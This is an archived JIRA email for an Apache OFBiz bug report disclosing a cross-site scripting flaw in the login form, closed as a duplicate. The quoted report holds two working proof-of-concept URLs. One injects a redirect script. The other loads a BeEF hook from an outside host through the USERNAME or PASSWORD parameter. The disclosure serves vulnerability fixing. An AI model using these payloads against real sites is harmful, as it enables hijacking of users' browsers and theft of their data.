[jira] Issue Comment Edited: (OFBIZ-1476) XSS vulnerability in OFBiz Login Form

["Jacques Le Roux (JIRA)" <ji...@apache.org>]

    [ https://issues.apache.org/jira/browse/OFBIZ-1476?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#action_12547603 ] 

jacques.le.roux edited comment on OFBIZ-1476 at 12/2/07 2:05 AM:
-----------------------------------------------------------------

Duplicate of OFBIZ-178

      was (Author: jacques.le.roux):
    OFBIZ-178
  
> XSS vulnerability in OFBiz Login Form
> -------------------------------------
>
>                 Key: OFBIZ-1476
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1476
>             Project: OFBiz
>          Issue Type: Bug
>          Components: product
>            Reporter: Emmanuel Saracco
>            Assignee: Jacques Le Roux
>
> Hi,
> There is a Cross Site Scripting vulnerability in OFBiz login form that allow a attacker to stole user's data.
> PoC: 
> * Redirection to another site:
> https://demo.hotwaxmedia.com/ecommerce/control/login?USERNAME=a%22%3E%3Cscript%3Edocument.location.href%3D%27http%3A%2F%2Fwww.bindshell.net%27%3B%3C%2Fscript%3E%3Ca+name%3D%22a
> * BeEF injection:
> https://demo.hotwaxmedia.com/catalog/control/login?USERNAME=a%22%3E%3Cscript%20language=%22javascript%22%20src=%22http://192.168.4.2/beef/hook/beefmagic.js.php%22%3E%3C/script%3E%3Ca%20name=%22a
> Same thing using "PASSWORD" instead of  "USERNAME".
> Bye

-- 
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.